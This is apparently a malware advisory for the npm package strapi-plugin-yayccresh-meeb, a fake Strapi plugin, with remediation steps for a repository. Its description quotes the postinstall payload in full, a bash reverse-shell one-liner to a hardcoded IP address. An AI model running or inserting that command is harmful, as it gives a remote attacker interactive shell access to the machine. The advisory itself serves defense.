MAL-2026-16193 Malicious code in strapi-plugin-yayccresh-meeb (npm)
Malicious package
Published
MAL-2026-16193 is a malicious package: strapi-plugin-yayccresh-meeb (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16193/ (Markdown: https://insights.sbomify.com/MAL-2026-16193/index.md)
- Package
- strapi-plugin-yayccresh-meeb
- Registry
- npm
What is MAL-2026-16193?
MAL-2026-16193 is a malicious package in strapi-plugin-yayccresh-meeb, published on 15 Sep 2026.
Official description
The package's postinstall lifecycle script (
node postinstall.js) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (bash -i > /dev/tcp/14.225.210.85/443 0>&1). Running npm install on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.What should I do about MAL-2026-16193?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.